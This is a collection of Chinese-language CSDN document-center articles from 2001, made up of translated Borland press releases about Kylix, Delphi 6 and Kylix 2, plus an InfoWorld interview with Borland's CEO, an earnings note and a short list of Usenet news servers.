通过Kylix，开发者们将能在悠闲的拖放开发中快速而容易地创建精密复杂的高性能的Linux应用程序。Kylix 包括CLX™，这是一个跨平台开发的组件库。通过CLX，开发者们将能使用基于组件开发的威力来加速高性能的Web应用，数据库应用和桌面应用的上市时间。由于建模在赢得大奖的Borland Delphi 和 C++Builder™的组件库之后，CLX将简化今天的基于Windows的应用程序到Linux平台的移植。Kylix发布了一个广泛全面的组件面板，它包括超过165个可重用的，可定制的和可扩展的CLX组件，这直接提高了开发者的生产力。

“公司和个体开发者现在有了一个拥有极高性能和高强生产力的RAD环境来建造Linux平台上的应用程序，” Dale L. Fuller说，他是Borland的总裁兼CEO。“软件开发者将能利用原生代码的优点和跨平台开发的灵活性。我们的目标是使Kylix成为Linux应用开发的标准。”

通过NetCLX™，Apache开发者将加速他们的WebServer的开发。NetCLX结合了浏览器，服务器和数据库开发技术来快速递交付可伸缩的支持大量用户和大容量数据的Web应用程序。通过DataCLX™ 和dbExpress™，开发者们将可容易地整合公司的数据信息到应用程序中去，这经由了高速的数据库引擎，它支持IBM® DB2®， Oracle® 8i， InterBase® 和 MySQL™。Kylix支持主要的Linux发行版本，RedHat， SuSE 和 Mandrake。

关于Borland® Kylix™
Borland Kylix，Linux平台上的第一个原生的快速开发环境，是一个用于图形用户界面（GUI），因特网，数据库，和web server的基于组件的双向的可视化开发环境。Kylix整合了领先的开发环境，交互式调试器，直观的可视化设计器和一个全面的组件面板，来给与开发者们快速交付Linux应用程序所需的工具。Kylix无缝集成了目前最高水平的优化编译器，来高速产生高性能的应用程序。

Borland专业服务机构

Borland专业服务机构将提供定制化的培训课程和完全满足客户需要的资料，包括一系列研讨会，电子学习程序，课程以及帮助开发者对Kylix快速上手的材料。

价格和可获得性

Kylix有三个可获得的版本：针对专业人士和全体Apache Web开发者的服务器开发者版，售价$1999，针对专业应用程序开发者的桌面开发者版，售价$999，针对开放源码和免费软件（GPL）开发者的公开版，将可以通过免费下载获得或购买，价格$99（硬拷贝文档和CD）。Kylix服务器开发者版和Kylix桌面开发者版一般将在2001年第一季度末之前面市。Kylix公开版将在2001年中期面市。

关于Borland

Borland是一个在高性能电子商务实现平台的居于领先地位的供应商。这些平台被设计来增加开发者的生产力，减少企业软件项目的上市时间。电子商务实现平台由一系列开发，配置，和管理电子商务应用的软件组成。Borland 是那些需要一个独立于供应商的实现平台，并且支持快速上市，高生产力，高性能和高可用性的专业电子商业解决方案供应商的最佳选择。Borland建于1983年，总部在美国加利福尼亚州的Scotts Valley，全球运作。欲知详情，请访问公司站点http://www.borland.com/或社群站点http://community.borland.com/或拨打Borland免费电话 (800) 632-2864。


CSDN_文档中心_2001-05-01 Borland 准备Delphi 6.0发布

2001-05-01

Borland准备Delphi 6.0发布
对于Web服务原生的XML，SOAP支持将增强Linux的可移植性
By Edward J. Correia

2001年5月1日 — Borland软件公司已准备好发布Delphi 6.0 for Windows，该公司全面增强的RAD环境，可以创建企业应用，数据库应用以及服务中间件。

依照Michael Swindell的说法，他是Borland RAD工具产品管理主管，Delphi 6.0将针对Microsoft .NET, Oracle .NOW 以及 Sun One引入一系列创建Web服务的新特性，扩展其在数据库中间件方面的能力，履行其关于在Linux和Windows应用程序间移植的保证—Borland公司三月份发布Linux上的Kylix RAD环境时的一个许诺。

Delphi中的一个全新的特性是BizSnap，一个Web服务平台，被设计来创建B-to-B整合组件。新的Delphi编译器将具有直接支持XML和SOAP的能力，Swindell描述BizSnap不仅仅是另外一套组件，“这不仅是我们拧上去的一套类。我们已把它做进了编译器，使之成了Delphi的原生能力，”他说。

Swindell声称，把XML 和 SOAP做成编译器的原生能力使得建造和使用Web服务变成了一个毫不费力的过程。它还具有的特性如：符号检查，数据类型检查以及静态与动态的XML绑定能力，他说，这些可以建造灵活的Web服务，以服务于多种多样的贸易伙伴。BizSnap还将具有对于WSDL和XSL 两种Web服务协议的原生支持，就象支持DTD 和 XML schema一样。

除了创建单独的应用程序和服务外，BizSnap将可以让多个服务聚集成一个单独的服务或应用，而不管那些服务的来源，Swindell说。作为一个例子，他描述了一个旅行代理入口，这可能由下面几个服务聚集而成：航空公司提供的售票服务，出租公司提供的小车出租服务以及旅店提供的客房预定服务。

但这里要有一个钩子。这种类型的应用的创建需要所有聚集的服务都是基于XML的，并且都具有约定协议的，这意味着它们遵循由W3C管理的Web服务行为标准。“今天，人们已花费了大量的时间来标准化这些协议，我们将集中焦点于支持所有的服务标准上，而不仅是.Net或Sun One，” Swindel说。

IT’S A SNAP

Delphi 6.0的另一个新特性是WebSnap，一个Web页面设计器，Swindel说，这将简化创建和调试Web应用的工作，而且“将Web开发带向更一般的人士”，这现在可能包括非技术的Web开发商店。网页设计将被简化，他说，因为VBScript 和 JavaScript功能可以从实际的界面设计中分离开来。网页的视觉和感觉，可以被非技术人士通过Surface Designer设计出来，那是一个新的HTML/JavaScript界面模型，可以和Macromedia的 Dreamweaver 或 Microsoft的 FrontPage HTML editors 结合，Swindell说。

另一个与WebSnap一起的新特性将是服务端脚本，包括对于ActiveScript 和 JavaScript的支持，也将支持Perl, Python和其它可以添加上去的脚本语言。更进一步，Web应用的调试将随着一个整合的Web服务器的加入而被增强，这将节省时间，根据Thomas Theobald—一个RAD工具产品经理--的说法，因为它“防止开发者不得不在本地机器上运行一个单独的服务器来作测试。”这样，许多开发者可能遇到的问题在安装配置之前就能解决，Swindell补充说。

通过Delphi 6.0，Borland的MIDAS中间件开发框架将被DataSnap所替代，DataSnap是一个具有激活Web服务功能的中间件环境，用作数据库存取。根据Swindell的说法，DataSnap开发者将能创建中间件来存取事实上所有的商用数据库，并且通过SOAP/XML, TCP/IP, DCOM 和 CORBA来和应用程序交互。根据公司的说法，该工具也将可以使任何企业关系数据库系统的数据库能够激活Web服务，并且通过XML 和 SOAP 向外发布数据。它也将能使开发者创建和MIDAS兼容的，多层中间件服务程序，这些服务程序，通过客户端连接池性能，支持GUI，Web浏览器和Web服务客户端。

最后，使用最近发布的Linux上的Kylix RAD环境的开发者，通过一整套的CLX组件库，能够把（通过Kylix开发的）应用程序移植到Windows上，这套组件库对于Delphi和Kylix将是一个公共库。

来源：软件开发时代杂志 http://www.sdtimes.com/news/029/story1.htm
术语：
BizSnap™: B2B integration with Web Services
WebSnap™: Bring the power and speed of RAD to your web application
development teams with WebSnap™
DataSnap™: Build web-service enabled database middleware with DataSnap™ that
scales and interoperates with your complete eBusiness solution

www.delphidevelopers.com


CSDN_文档中心_2001-05-08 Borland 公布业界第一个Web服务开发平台：Delphi6

2001-05-08

Borland公布业界第一个Web服务开发平台
Borland® Delphi™ 6 为Web服务的创建将最新业界标准引入新的RAD平台

SCOTTS VALLEY, Calif. - May 8, 2001 – Borland软件公司（ Nasdaq NM：BORL ），一个在电子商务实现平台领域的领导者，今天发布Borland® Delphi™ 6，这是Borland在Windows平台上快速开发（RAD）环境的最新版本。作为帮助开发者很容易地使用和创建遵循业界标准的Web服务的第一个RAD工具，Delphi6使得开发者可以快速地开发和部署使用基于Web服务技术--XML和SOAP--的应用软件。Delphi 6的Web服务和XML技术，通过允许公司间在因特网上最小限度的人为干预下，共享和交换应用数据，比如关于一笔交易，事务或者供应商的信息，而加速了电子商务的进程，。

Delphi 6是唯一支持所有正在浮现的业界标准：XML， SOAP， WSDL，和 XSL的RAD环境。也就是说，支持正在浮现的各家平台的Web服务，如Microsoft® .Net 和 BizTalk，还有来自Sun 微系统公司的SUN ONE，同时提供企业和Web开发者需要的伸缩性和可靠性。

“Web服务的采用正处在一个十字路口，” Evan Quinn说，他是Hurwitz集团的应用软件策略主管，Hurwitz集团是一个分析，研究和顾问公司。“现在，独立的和公司的开发者正需要正确的工具来使Web服务更强大，更容易设计。通过Delphi 6的发布，Borland正好响应了这一急迫的业界需求。”

新的Delphi框架包括BizSnap™， WebSnap™ 和 DataSnap™，通过全面集成一套支持Web服务的可视化工具，先进的编译器技术和可重用的软件组件，将帮助用户创建支持Web服务规范的服务器端和客户端应用软件。

“Web服务是英特网应用开发的下一个潮流，开发者将被迫快速移向遵循开放标准的商务应用软件，这样即使是两个具有不同的IT基础设施的公司也可以一起进行电子商务行为，” Simon Thornhill说，他是Borland的副总裁兼RAD产品总经理。“未来的趋势是具有Web服务的电子商务应用软件开发，Delphi 6 使得任何企业可以讯速地迈向这个未来，而不需要放弃过去的方法，技巧和源代码。”

Borland Delphi 6 新产品特性包括：

  • BizSnap ： Web服务RAD环境平台，通过很容易地创建XML/SOAP Web服务和连结，简化B-to-B应用的整合。
  • WebSnap ：一个基于组件的应用开发框架，支持主流Web应用服务器，包括Apache™， Netscape® 和 Microsoft Internet Information Services (IIS)。
  • DataSnap：允许客户创建高性能的，可以进行Web服务的中间件，这中间件可以使任何客户端或服务器端，通过业界标准的Web服务和XML， DCOM， 或 CORBA®，很容易地连到任何主流数据库，如Oracle®， MS-SQL Server，Informix®， IBM® DB2®，Sybase® 和InterBase®。

另外，当和Borland Kylix™—Linux操作系统上的第一个原生RAD环境--配套使用时，Delphi 6用户可以为Windows和Linux两个平台创建只有一份源代码的应用软件，这将创造新的机会并且为开发投资带来潜在的回报。

Delphi 6预定在这个月发布三个版本：企业版，专业版和个人版。

关于 Borland® Delphi 6™

Borland Delphi 6 是Windows平台上第一个完全支持新的或正在浮现的Web服务的快速开发环境。通过Delphi 6，公司或独立开发者可以快速而容易地创建下一代电子商务应用。主要的特点包括：BizSnap， WebSnap 和 DataSnap，通过完全支持XML，SOAP，和 WSDL，帮助开发者创建简化企业对企业整合的应用。Delphi 6工业标准的Web服务支持使得（开发者）可以直接整合正在浮现的各家平台的Web服务，如Microsoft® .Net 和 BizTalk，还有来自Sun 微系统公司的ONE。如果想得到更多信息，请访问Borland站点：http://www.borland.com/delphi。

关于Borland
Borland是一个在高性能电子商务实现平台的居于领先地位的供应商。这些平台被设计来增加开发者的生产力，减少企业软件项目的上市时间。电子商务实现平台由一系列开发，配置，和管理电子商务应用的软件组成。Borland 是那些需要一个独立于供应商的实现平台，并且支持快速上市，高生产力，高性能和高可用性的专业电子商业解决方案供应商的最佳选择。Borland建于1983年，总部在美国加利福尼亚州的Scotts Valley，全球运作。欲知详情，请访问公司站点http://www.borland.com/或社群站点http://community.borland.com/或拨打Borland免费电话 (800) 632-2864。
www.delphidevelopers.com


CSDN_文档中心_2001-06-18 Borland 正式发售 Delphi6,实现其支持Web服务的承诺

2001-06-18

Borland以Delphi™ 6实现其支持Web服务的承诺

Borland®正式发售RAD平台旗舰产品

SCOTTS VALLEY, Calif. - June 18, 2001 – Borland软件公司(Nasdaq NM: BORL)，一个在电子商务实现平台领域的领先供应商，今天宣布正式发售Borland® Delphi™ 6，这是Windows操作系统中快速应用开发环境的最新版本。作为帮助开发者容易地使用和创建正在浮现的业界标准Web服务的第一个RAD环境，Delphi6可以快速开发和部署使用基于XML和SOAP的Web服务技术的应用程序。Delphi6的Web服务技术，通过使公司间可以透过因特网自动进行信息交换和安全共享，加速了电子商务的进程。

Delphi 6是唯一支持所有正在浮现的工业标准：XML， SOAP， WSDL，和 XSL的RAD环境。也就是说，支持正在浮现的各家平台的Web服务，如Microsoft® .Net 和 BizTalk，还有来自Sun 微系统公司的SUN ONE，同时提供企业和Web开发者需要的伸缩性和可靠性。

“Borland Delphi6为开发者提供了一个最好的RAD环境，使得使用和创建遵循正在浮现的业界标准的Web服务非常容易，” Hurwitz 集团公司首席分析师Evan Quinn说，“通过在Delphi开发环境中添加对于Web服务的支持，Borland再一次证明它理解独立开发者和公司开发者的独特需求。”

Borland设计了新的Delphi框架，包括BizSnap™， WebSnap™ 和 DataSnap™，通过简化B2B应用的整合来加快产品的上市时间。Delphi6通过一整套Web服务可视化工具，先进的编译器技术和可重用的软件组件，帮助用户创建支持Web服务规范的服务器端和客户端应用程序。

“由于其高性能和可伸缩性，Delphi是我创建Windows应用程序选择的开发环境。”高级系统开发者 Mouse Silverstein说，“我依赖Delphi快速而容易地创建执行关键任务的应用程序。”

Borland Delphi 6可以为用户的CORBA® 或 Enterprise JavaBean™ (EJB™)服务程序开发丰富的图形用户界面的客户端。使用Delphi6，开发团队也可以为Borland® VisiBroker for CORBA 和 采用EJB技术的Borland® AppServer™应用程序创建丰富的图形用户界面的客户端。Delphi 6扩展了用户的用作Web服务的EJB应用程序，使他们可以为其客户，供应商和合作伙伴提供B2B的整合。

“Web服务是因特网应用开发的下一个潮流，因为它使得两个具有不同IT结构的公司可以合作从事电子商务活动，” Simon Thornhill说，他是Borland RAD事业部的副总裁兼总经理。“我们已看到一种需要支持Web服务的技术的难以置信的需求，这将是Delphi6（销量）迅速增长的燃料。”

Borland Delphi 6 新产品特性包括：

  • BizSnap ： Web服务RAD环境平台，通过很容易地创建XML/SOAP Web服务和连结，简化B-to-B应用程序的整合。

  • WebSnap ：一个基于组件的应用开发框架，支持主流Web应用服务器，包括Apache™， Netscape® 和 Microsoft Internet Information Services (IIS)。

  • DataSnap：允许客户创建高性能的，可以进行Web服务的中间件，这中间件可以使任何客户端或服务器端，通过符合工业标准的Web服务和XML， DCOM， 或 CORBA®，很容易地连到任何主流数据库，如Oracle®， MS-SQL Server，Informix®， IBM® DB2®，Sybase® 和InterBase®。

另外，当和Borland Kylix™—Linux操作系统上的第一个原生RAD环境--配套使用时，Delphi 6 用户可以为Windows和Linux两个平台创建只有一份源代码的应用软件，这将创造新的机会并且带来潜在的投资回报。

关于Borland® Delphi 6™

Borland Delphi 6 是Windows平台上第一个完全支持新的或正在浮现的Web服务的快速开发环境。通过Delphi 6，公司或独立开发者可以快速而容易地创建下一代电子商务应用。主要的特点包括：BizSnap， WebSnap 和 DataSnap，通过完全支持XML，SOAP，和 WSDL，帮助开发者创建简化企业对企业整合的应用。Delphi 6工业标准的Web服务支持使得（开发者）可以直接整合正在浮现的各方平台的Web服务，如Microsoft® .Net 和 BizTalk，还有来自Sun 微系统公司的ONE。如果想得到更多信息，请访问Borland站点：http://www.borland.com/delphi。

关于Borland

Borland是一个在高性能电子商务实现平台的居于领先地位的供应商。这些平台被设计来增加开发者的生产力，减少企业软件项目的上市时间。电子商务实现平台由一系列开发，配置，和管理电子商务应用的软件组成。Borland 是那些需要一个独立于供应商的实现平台，并且支持快速上市，高生产力，高性能和高可用性的专业电子商业解决方案供应商的最佳选择。Borland建于1983年，总部在美国加利福尼亚州的Scotts Valley，全球运作。欲知详情，请访问公司站点http://www.borland.com/或社群站点http://community.borland.com/或拨打Borland免费电话 (800) 632-2864。

  www.delphidevelopers.com


CSDN_文档中心_2001-07-19 Borland第二季度总收入增长20%，纯利增长60%

2001-07-19

Borland第二季度总收入增长20%，纯利增长60%

2001-07-19 Borland软件公司(Nasdaq NM: BORL)，今天宣布了第二季度和截止2001-06-30半年来的财政报告。

第二季度，总收入和去年同期的4670万美元相比，增长了20%，达到了5600万美元。2001年第二季度毛利率达到83.1%，去年同期是83.4% 。

第二季度，纯利增至640万美元，或摊薄0.09美元每股；去年第二季度的纯利是200万美元，或摊薄0.03美元每股。

和去年同期的400万美元的纯利相比，今年第二季度纯利增长了60%，去年收入的计算不包括由于和Corel公司合并终止而支出的200万美元相关费用。

www.DelphiDevelopers.com

股票一路上扬


CSDN_文档中心_2001-08-06 Borland 开放Delphi6个人版 (免费下载!)

2001-08-06

Borland® 开放Delphi 6™个人版
Borland®通过为开发者提供学习性的产品，而促进了快速应用程序开发

加利福尼亚州斯科茨谷，2001年8月6日。

Borland软件公司（Nasdaq NM: BORL），一个领先的电子商务平台解决方案供应商，今天宣布开放Borland® Delphi™ 6 Personal Edition。Delphi 6 个人版可以让新的用户学习如何在Windows®平台上，利用最新的技术和协议开发高性能的非商业用途的应用程序。开发者们今天可以到www.borland.com/downloads/ 去下载免费的Delphi 6 个人版，或者用US$99.95购买一张CD版，该CD包括了书面文档和http://shop.borland.com/ 上的安装支持。

在此早些时候，Borland刚刚发布了Kylix™ Open Edition 和 JBuilder™ Personal Edition。通过提供快速应用开发（RAD）的学习版，Borland增强了她对于客户的承诺：通过为客户提供一种低成本的方式来开始学习Borland技术，从而加速客户的企业应用程序的交付。

“作为RAD领域的领导者，Borland继续让更广阔范围内的开发者交付企业级的应用程序，” Simon Thornhill说，他是Borland 副总裁兼RAD事业部总经理。“通过使用Delphi 6个人版，新用户可以很快地学会Windows上的RAD开发，并且可以无缝地升级到专业版和企业版中的数据库开发，跨平台开发，以及Web Services开发。”

关于 Delphi® 6 Personal Edition
Delphi 6 Personal Edition 让开发者可以为个人目的而非商业用途创建高性能的Windows 98, Windows NT® 以及 Windows 2000应用程序。Delphi 6 Personal Edition包括一个32位的，原生的优化的代码编译器，在线帮助和例子。Delphi 6 Personal Edition帮助开发者缩短开发周期并且提高开发者的生产力。个人版中同样提供一种双向的可视化应用设计环境和超过85个事先编译了的，可重用的，可定制的组件，包括菜单，对话框，树状视图和文本框等。

关于 Borland® Delphi 6™

Borland Delphi 6 是Windows平台上第一个完全支持新的或正在浮现的Web服务的快速开发环境。通过Delphi 6，公司或独立开发者可以快速而容易地创建下一代电子商务应用。主要的特点包括：BizSnap， WebSnap 和 DataSnap，通过完全支持XML，SOAP，和 WSDL，帮助开发者创建简化企业对企业整合的应用。Delphi 6遵循业界标准的Web服务支持使得（开发者）可以直接整合正在浮现的基于各家平台的Web服务，如Microsoft® .Net 和 BizTalk，还有来自Sun 微系统公司的ONE。更多详情，请访问Borland站点：http://www.borland.com/delphi。

相关新闻：
08-05 BorCon2001 图片报道
07-25 Borland 为 Linux®社群交付Kylix™开放版 免费下载 ! Go
07-09 Borland Delphi 6 新特性一览 （中文）

www.delphidevelopers.com


CSDN_文档中心_2001-10-18 InfoWorld采访：Borland CEO谈论与微软竞争开发者们的的心和开发者们的头脑

2001-10-18

Borland CEO谈论与微软竞争开发者们的的心和开发者们的头脑

By Michael Vizard
2001-10-18 12:27 pm PT 原文

作为Borland的CEO，Dale Fuller正默默地复兴这个在应用开发竞技场上的伟大名字。随着Delphi 6的发布，Borland成了新近出现的Web服务市场上的主要玩家。在一次InfoWord首席编辑Michael Vizard对Dale Fuller的采访中，Fuller谈论了Borland采取了哪些措施来和微软竞争开发者们的心和开发者们的头脑。

InfoWorld: 今天的Borland是怎样的Borland ?

 Fuller : 事实是，作为一个公司我们正在转向。看看我们的商业曲线，我们正在进入第八个连续盈利的季度。每个季度我们都要花费出我们称之为“自由现金流”的1000万美金到1500万美金。这表明我们正在赚大钱，这太棒了。事实上，我们可能是今天唯一能够如此声称的软件公司。和3年前我们几乎要破产时相比，今天我们在银行里存有3亿多美金。

InfoWorld:你认为成功的原因是什么呢？

Fuller：我们非常幸运，市场情况对我们非常有利。我们是排名第一的Java玩家。我们远远超出任何公司之上（在Java方面）。我们逐渐侵蚀了其它公司的市场份额，到今天已拥有一个巨大的Java市场份额。

InfoWorld：Web服务技术将对你们的公司有何影响？

Fuller：今天我们在Web服务方面领导着市场的发展。我们拥有唯一的商用Web服务开发平台。它与我们当前的技术整合得非常好。试想你是一个J2EE[Java 2, Enterprise Edition]开发者，但是将来你将不得不用Microsoft.NET。我们是唯一在填补这个缺口的公司。我们统一了两种平台，这真的非常激动人心。我对微软在这一点上并没有睡醒表示感谢，因为这给了我们公司巨大的持续成长的机会。

InfoWorld:最近Borland和微软的关系怎样，你们将支持C#吗？

Fuller：我们还处在完全观望[C#]的阶段。我们的目标是保证我们的那些想用C#的客户能具有这种能力。我们并不想让我们的客户抛弃他们已经做了的东西。我们正努力创建一个统一的战略，在这种战略下你可以利用今天你已经开发的代码—无论它是用Delphi，Kylix，Jbuilder还是Visual Studio开发的—把它们转变为C#，或者把你已用C#开发的东西转变到其它语言平台上。这就是我们的机会。

InfoWord：为什么连接这两种（开发）环境的能力是很重要的？

Fuller：多数公司今天拥有不止一个平台。在我们所有的产品上都提供了跨平台的能力来开发，部署和管理你的应用。这种开发应用的能力的普遍存在给了你快速开发，管理和部署应用的自由。

InfoWorld：你认为 Web服务的核心价值是什么？

Fuller：它真正开启了（因特网之）门。它的交付基于因特网的预期。因特网是沿着显示网页的道路发展到今天的。Web服务现在让我立刻拥有了以前不可能拥有的特殊能力。这是独一无二的。（因特网之）门将继续向新的概念和新的主意开放，这些新的概念和新的主意是我们以前由于环境的限制而从未觉察到的。

InfoWorld：Web服务将给系统集成商带来什么影响？

Fuller：顾问们将不得不更加辛苦地工作。他们将不得不在创建新的商业规则和新的商业点子上绞尽脑汁。关键的问题是现在人们将估量盈利时间。盈利时间将会被压缩。人们将真的估量盈利时间。对于那些能在这种承诺下交付应用的真正的系统集成商来说，这是个巨大的（市场）需求。但为了生存，系统集成商们将不得不更加努力地工作。

InfoWorld：长期的经济低迷对于象Borland这样的公司有什么影响？

Fuller：经济减速也会导致技术的采用减速。技术的采用一旦减速，创新也会跟着减速。我们无从得知影响人们采用技术的各种因素是如何排列的，也不能放开人们的头脑来创建新的观念或者向新主意敞开大门。就这样技术的创新减慢了。现在，我们有三百万的开发者使用我们的产品来为三千万的客户开发应用。由此，你可以得到大量的反馈，这些反馈能给你能给你新主意和新观念。但当用户群的数量减少到一半或四分之一等等时，就会减慢新主意和新观念的产生。

InfoWorld：Borland的核心竞争力是什么？

Fuller：我们想转变的意愿比我们可转变的能力还要大。这个大问题的一部分是人们需要能够整合现有的技术，应用和数据到没有向后兼容能力的新技术中去。今天，我们的所有体系结构，无论你使用的是CORBA体系结构，J2EE体系机构还是Web服务体系结构，都已被整合到我们的产品中去了，这让你能够无缝地整合现有的数据。所以，现在你能真正地提取那些信息和那些数据，并把它们整合到你的新技术中去。我想，这是Borland能提出的一个独一无二的理念。

Michael Vizard 是 InfoWorld的首席编辑。

www.delphidevelopers.com


CSDN_文档中心_2001-10-23 Borland Kylix 2 为 Linux 交付第一个Web服务解决方案

2001-10-23

Borland® Kylix™ 2 为 Linux®交付第一个Web服务解决方案
Borland为创建和部署因特网应用提供跨平台的开发环境

Web服务大会，SANTA CLARA， Calif，--2001年10月23日 –Borland软件公司（Nasdaq NM:BORL），一个领先的电子商务平台解决方案提供商，今天宣布了针对Linux平台上的电子商务应用快速开发的Borland® Kylix™ 2。Kylix 2是Borland公司屡获大奖的Linux操作系统上的快速应用开发环境（RAD）的最新版本。它让各公司可以快速地建造和部署简化电子商务整合的应用，这些应用利用Web服务跨越全球范围内的客户，供应商，商务伙伴和雇员之间的不同平台。

根据一份Evans Data最近的调查，70%的Linux开发者认为Web服务现在代表着“因特网应用的将来”。Kylix 2 利用Web服务和XML技术扩展了Linux和Apache™的电子商务能力。通过把Kylix 2和Borland® Delphi™ 6结合在一起，各公司可以开发出整合了Web服务工业标准的跨平台的企业级应用来，这些标准包括SOAP， XML，和 WSDL。

“作为世界上最大商用房地产公司之一，我们的工作需要跨越多个IT基础设施和各种完全不同的系统。具有Web服务支持的Kylix 2对于我们和整个Linux社群来说都是一个备受欢迎的新产品。” Colliers国际合伙公司的首席信息管Jonathan Green说，“Borland通过创建和使用Web服务为我们的电子商务应用交付了一个实际的解决方案，该电子商务应用让我们与竞争者相比具有巨大的竞争优势，也为我们在Linux上的应用开发节省了费用。”

作为Colliers国际合伙公司的基于Linux的解决方案提供商，Kazo软件公司的总裁兼首席技术管Alain "Lino" Tadros说，“Kylix 2让我们可以为我们的客户提供更大范围内的功能集。Delphi 6和Kylix 2结合又使我们减少了应用开发的时间，为客户节省了额外的费用。”

“对于那些想把他们的应用搬上因特网的企业来说，Borland通过Kylix 2提供了一个引人注目的解决方案。” Aberdeen集团Linux与开源软件的研究经理Bill Claybrook说，“Borland把Kylix 2和Delphi 6结合起来提供了真正的跨平台开发，这一点在Linux逐渐成长为主流操作系统时尤为重要。”

Kylix 2通过Borland先进的编译器技术和可重用组件提供了BizSnap™， WebSnap™ 和DataSnap™三大新特性。这些新特性组成了一整套的可视化工具。通过这些组件，Kylix 2的用户可以容易地交换和操纵XML文档，整合跨越因特网的应用和来自Web服务平台的额外的功能。这些平台包括来自Microsoft的.Net™ 和BizTalk™，来自Sun的ONE™。Kylix 2通过支持工业标准的Web服务协议，如SOAP，XML，和WSD，交付了真正的平台互动性和语言互动性。

Borland Kylix 2 新产品特性包括：

  • BizSnap Web服务RAD开发平台，通过容易地创建XML/SOAP Web服务和连接，简化了下一代电子商务整合。
  • WebSnap将Apache™ Web服务器转化为强大的数据库驱动的跨企业的Web应用服务器。
  • DataSnap让客户可以创建高性能的可提供Web服务的数据库中间件，这些中间件可以通过标准的Web服务和XML，DCOM或VisiBroker与任何电子商务解决方案互操作，如Oracle®，Informix®， IBM® DB2®， MySQL®， PostgreSQL®/Red Hat Database，以及 Borland InterBase®。
  • CORBA支持为Borland VisiBroker®创建高性能的具有丰富图形用户界面的客户端。
  • 通过结合Kylix 2和Delphi 6，为Linux和Windows创建只有一份代码的跨平台应用开发。
  • 通过利用新的简单IDL，用BizSnap把Borland AppServer Enterprise Java Beans的功能作为Web服务公布。

“Web服务是基于因特网的预期来交付的，以解决整合问题和减少做业务的成本。”Borland的副总裁兼RAD解决方案的总经理Simon Thornhill说，“Borland是今天能同时为Windows和Linux环境交付Web服务解决方案的唯一公司。”

Web服务培训课程

作为Borland正在进行的提供最佳技术解决方案的约定的一部分，Borland今天也宣布为它不断扩大的电子学习系列增加一个新的交互式培训课程—电子商务中的RADical Web服务。这个新的基于计算机的培训课程是为Borland的Kylix和Delphi用户设计的，目的是帮助用户学习如何开发和实现Web服务。该电子学习系列培训课程是容易跟学的，可以自己掌握进度的指南，它还带有方便的练习，这些练习教授如何创建，管理，和部署分布式应用。Borland的电子学习工具可以在http://shop.borland.com.在线购买。关于Borland全线培训方案的详情，请访问http://www.borland.com/services/training。

价格与可用性

Borland Kylix 2有3个版本：Kylix 2 企业版， Kylix 2 专业版 和Kylix 2 开放版。对于新用户，Kylix 2 企业版售价1999美元，Kylix 2专业版售价249美元。Borland Kylix用户和Borland Delphi 6用户都能拿到一个特别的升级价格。Kylix 2企业版和专业版都能直接从http://shop.borland.com和授权零售商购买。Kylix 2企业版的60天免费试用可以从http://www.borland.com/downloads/下载。为开源软件（GPL）开发者准备的Kylix 2开放版将可以在第四季度从http://www.borland.com/downloads/上免费下载。

关于 Web服务
Web服务是使用标准技术实现的，能够被发送到因该特网上，并能被发现的商业过程。通过使用Web服务，公司能够轻易地把应用程序连到事实上是任何客户端上。这种连接是通过标准的因特网协议，使用标准的XML数据格式。客户端包括桌面应用程序，Web浏览器，移动设备以及PDA。与此相似，Web服务能够容易把来自完全不同硬件平台上的应用互连在一起，如大型机，应用服务器及Web服务器；Web服务还支持互异操作系统之间的连接，如Windows，Java™，和 Unix®。Web服务让开发者们能建立这样一种电子商务应用：可以连接到任何客户，供应商和业务伙伴，无论他们在世界上的哪个地方，无论他们用的是什么平台或编程语言。关于Borland交付Web服务技术的更多信息，请访问Borland站点，http://www.borland.com/webservices。

关于 Borland
Borland是一个在高性能电子商务实现平台的居于领先地位的供应商。这些平台被设计来增加开发者的生产力，减少企业软件项目的上市时间。电子商务实现平台由一系列开发，配置，和管理电子商务应用的软件组成。Borland 是那些需要一个独立于供应商的实现平台，并且支持快速上市，高生产力，高性能和高可用性的专业电子商业解决方案供应商的最佳选择。Borland建于1983年，总部在美国加利福尼亚州的Scotts Valley，全球运作。欲知详情，请访问公司站点http://www.borland.com/或社群站点http://community.borland.com/或拨打Borland免费电话 (800) 632-2864。

www.delphidevelopers.com


CSDN_文档中心_2001-7-25 Borland 为Linux社群交付Kylix开放版 (免费下载！)

2001-7-25

Borland 为Linux®社群交付Kylix™开放版

LONG BEACH, Calif ---2001-7-25日，Borland软件公司(Nasdaq NM: BORL)，一个领先的电子商务平台解决方案供应商，今天在第12届Borland开发者年会（BorCon™）上宣布，提供Borland® Kylix™的开放版。Kylix™的开放版将使Linux®社群，在一个简单的拖放开发环境中，快速而容易地创建复杂的，具有高可视化的最终用户图形界面（GUI）的开放源码应用程序。包含在Kylix开放版中的还有FreeCLX™，这是一个开放源码的，GPL授权的跨平台组件库。Kylix开放版交付了一个包罗广泛的组件面板，其中有超过100个为开放源码Linux应用程序准备的，可复用、可定制、可扩展的FreeCLX组件。开发者可以从Borland站点www.borland.com/downloads/下载Kylix开放版。

“开源社群是非常重要的，因为他们正在塑造着应用开发的未来，” Bill Claybrook说，他是Aberdeen集团Linux和开源软件的研究主管。“Borland正为Linux社群的应用开发带来她的FreeCLX组件库和框架。这将使开源开发者们可以创建和使用可视化的上百个CLX™跨平台组件，从而加速产品的上市时间。”

“Kylix开放版增强了我们对于开源社群的承诺，并且为开发者提供了自由选择快速应用开发环境的机会。” Simon Thornhill说，他是Borland副总裁兼RAD事业部总经理。

关于Borland® Kylix™

Borland Kylix 是Linux平台上的一个高性能的快速应用开发（RAD）环境。Kylix是一个基于组件的开发环境，用作开发图形用户界面（GUI）应用，因特网应用，数据库应用和服务程序应用。Kylix由一个高速的原生的Delphi™ compiler for Linux驱动，并且实现了一个原生的Linux的和跨平台的Borland可视组件库（VCL）结构，称为CLX。CLX设计的目标是从根本上加速原生Linux应用程序的开发，并且简化Delphi应用程序在Windows®和Linux操作系统之间的移植。Borland Kylix有三个版本：售价$1999的服务器开发版，售价$199的桌面开发版，以及免费的开放版。为开源开发者（GPL）提供的Kylix开放版可以从Borland网站上免费下载。关于Kylix更多的信息，请访问Borland站点，www.borland.com/kylix。

www.DelphiDevelopers.com


CSDN_文档中心_2001年新闻组大全

（转贴） XXLong(梦回三国)

寄件者：龙岩人 (z770214@public.lyptt.fj.cn)
主旨：2001年新闻组大全
新闻群组：microsoft.public.access.activexcontrol

2001年新闻组大全

宁波电信 news://news.nb.zj.cninfo.net浙江电信 news://news.zj.cninfo.net
常州电信 news://news.betium.com碧海银沙 news://202.96.140.45
佛山新闻组 news://ems.foshan.gd.cn广州168 news://news.gz168.net
